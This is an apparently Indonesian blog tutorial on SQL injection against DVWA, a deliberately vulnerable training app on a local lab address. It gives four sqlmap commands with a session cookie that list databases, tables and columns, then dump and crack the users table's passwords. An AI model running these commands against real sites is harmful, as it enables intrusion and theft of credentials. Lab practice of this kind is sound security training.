cara SQL Injection di website DVWA

Diposting oleh

 



http://192.168.0.2/dvwa/vulnerabilities/sqli/
masukkan angka 1 , submit



http://192.168.0.2/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit


lihat cookie : cookie="PHPSESSID=p5uf3em2cc5s4u9km8a6j0ms81; security=low


#1 Melihat Database
sqlmap -url="http://192.168.0.2/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=p5uf3em2cc5s4u9km8a6j0ms81; security=low" --dbs

#2. Melihat Tabel
sqlmap -url="http://192.168.0.2/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=p5uf3em2cc5s4u9km8a6j0ms81; security=low" -D dvwa --tables 

#3. Melihat kolom
sqlmap -url="http://192.168.0.2/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=p5uf3em2cc5s4u9km8a6j0ms81; security=low" -D dvwa -T users --columns


#4 cara dump dan Crack paswword
sqlmap -url="http://192.168.0.2/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=p5uf3em2cc5s4u9km8a6j0ms81; security=low" -D dvwa -T users --dump











Komentar

Posting Komentar